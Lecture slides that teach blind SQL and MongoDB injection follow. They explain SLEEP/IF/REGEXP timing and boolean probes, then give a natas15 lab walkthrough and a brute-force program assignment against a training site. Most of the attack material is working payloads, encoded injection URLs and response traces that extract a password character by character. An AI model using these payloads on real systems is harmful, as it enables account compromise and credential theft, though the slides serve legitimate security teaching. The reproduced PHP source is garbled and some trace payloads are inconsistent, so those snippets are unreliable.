A1 (Part 3): Injection
Blind SQL Injection
Blind SQL Injection

Leverage databases that reveal information about the success or failure of queries

Analogous example

- Login prompt that stops if username is not valid
- Must have login/password prompts that check for valid pair

Method

- Employ a game of 20 questions
- Use “SLEEP” in conjunction with conditionals such as IF to reveal success or failure of query
- Utilize support for regular expressions in databases in queries
  - MySQL “LIKE” and “REGEXP”
  - NoSQL this.match(/^[0-9]$)
IF in SQL can be used to find out if something is true

- IF (CONDITION, TRUE_OUTCOME, FALSE_OUTCOME)

LIKE in SQL can be used to compare results using wildcards

- % matches 0 or more characters
- _ matches exactly one character

SLEEP in SQL halts the program/server for X seconds

IF (password LIKE BINARY “p4ssw0rd”, sleep(5), null)

if the password is (case sensitive) p4ssw0rd, sleep for 5 seconds. Otherwise, do nothing.
REGEXP in SQL can be used to match a regular expression
- Similar to LIKE
- AND password REGEXP "^[a-z]"
  True if password begins with a lowercase character
- Use in conjunction with SLEEP to probe correctness of password guesses
  Add delay if password begins with foo
  ➞ AND password COLLATE latin1_general_cs REGEXP "^foo" and (SLEEP(5)) AND “1”="1"

‘COUNT(*)’ returns the number of rows
- IF((SELECT COUNT(*) FROM information_schema.columns WHERE table_name = ‘users’)
  LIKE X, sleep(5), null)
- If the # of rows from the table information_schema.columns from the table users is X, sleep for 5 seconds. Otherwise do nothing
SQL Blind Injection example [Time Based]

```sql
SELECT password, is_admin FROM users WHERE username = 'bob' AND IF(password LIKE BINARY "p4ssw0rd", sleep(5), null) #
```

5 seconds before a response

Bob’s password: p4ssw0rd
Example: natas15.natas.labs.overthewire.org

Interface for checking if a user exists

If injectable, can use Blind SQL injection to obtain password

Try:

  foo
  natas16
  natas16'
  natas16"
  natas16" OR "1"="1
  natas16"#
Find password for user natas16

/* CREATE TABLE `users` (  
    `username` varchar(64) DEFAULT NULL,  
    `password` varchar(64) DEFAULT NULL  
); */

if(array_key_exists("username", $_REQUEST)) {
    $query = "SELECT * from users where username='".".$_REQUEST["username"].("\";"");

    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            echo "This user exists.<br>");
        } else {
            echo "This user doesn't exist.<br>");
        }
    } else {
        echo "Error in query.<br>");
    }
} else {
    echo "Error in query.<br>");
}
Example: natas15

Search list:  [0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]

Injected username:  natas16" AND password REGEXP "^[0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
Received: User does not exist

Injected username:  natas16" AND password REGEXP "^[VWXYZabcdefghij]
Received: This user exists

Injected username:  natas16" AND password REGEXP "^[VWXYZab]
Received: This user exists

Injected username:  natas16" AND password REGEXP "^[VWX]
Received: This user exists

Injected username:  natas16" AND password REGEXP "^[V]
Received: User does not exist

Injected username:  natas16" AND password REGEXP "^[W]
Received: This user exists

W
Example: natas15

Search list:  [0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]

W

Injected username:  natas16" AND password REGEXP "^W[0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
Received: User does not exist

Injected username:  natas16" AND password REGEXP "^W[0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]yz
Received: This user exists

Injected username:  natas16" AND password REGEXP "^W[0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]ab
Received: This user exists

Injected username:  natas16" AND password REGEXP "^W[0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]x
Received: User does not exist

Injected username:  natas16" AND password REGEXP "^W[0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]y
Received: User does not exist

Injected username:  natas16" AND password REGEXP "^W[0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]a
Received: This user exists

Received: This user exists

W

Injected username:  natas16" AND password REGEXP "^Wa[0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
Received: This user exists
Program #1

Write a program that leverages SQL injection in MongoDB to find the password for account admin

Done via injection into HTTP GET parameter
Use binary search on alpha-numeric characters
Use python requests (Beautiful Soup for parsing if desired)

Examples

Regexp to match all passwords \texttt{this.password.match\(\(^/.*/\)\)}
Within URL and with MongoDB comment at the end (Must URL-encode)
\url{http://wfp2.oregonctf.org/mongodb/example2/?search=admin\%27\%20\&\&\%20this.password.match\(\%2F%5e.*%2F\)%2F}%2F

Only match if first char of password is capital letter or digit
\url{http://wfp2.oregonctf.org/mongodb/example2/?search=admin\%27\%20\&\&\%20this.password.match\(\%2F%5e%5bA-Z0-9%5d.*%2F\)%2F}%2F

Only match if first char of password is lowercase letter
\url{http://wfp2.oregonctf.org/mongodb/example2/?search=admin\%27\%20\&\&\%20this.password.match\(\%2F%5e%5ba-z%5d.*%2F\)%2F}%2F
Program #1: Sample output

% python3 MongoDB2.py
http://wfp2.oregonctf.org/mongodb/example2/?search=admin%27%26%26%20this.password.match(^%5B0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ%5D.*/)//+%00 no match.
http://wfp2.oregonctf.org/mongodb/example2/?search=admin%27%26%26%20this.password.match(^%5BVWXYZabcdefghij%5D.*/)//+%00 matched!
http://wfp2.oregonctf.org/mongodb/example2/?search=admin%27%26%26%20this.password.match(^%5BVWXYZab%5D.*/)//+%00 no match.
http://wfp2.oregonctf.org/mongodb/example2/?search=admin%27%26%26%20this.password.match(^%5Bcdef%5D.*/)//+%00 no match.
http://wfp2.oregonctf.org/mongodb/example2/?search=admin%27%26%26%20this.password.match(^%5Bgh%5D.*/)//+%00 no match.
http://wfp2.oregonctf.org/mongodb/example2/?search=admin%27%26%26%20this.password.match(^%5Bi%5D.*/)//+%00 matched!

current pass: i
http://wfp2.oregonctf.org/mongodb/example2/?search=admin%27%26%26%20this.password.match(^i%5B0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ%5D.*/)//+%00 no match.
http://wfp2.oregonctf.org/mongodb/example2/?search=admin%27%26%26%20this.password.match(^i%5BVWXYZabcdefghij%5D.*/)//+%00 matched!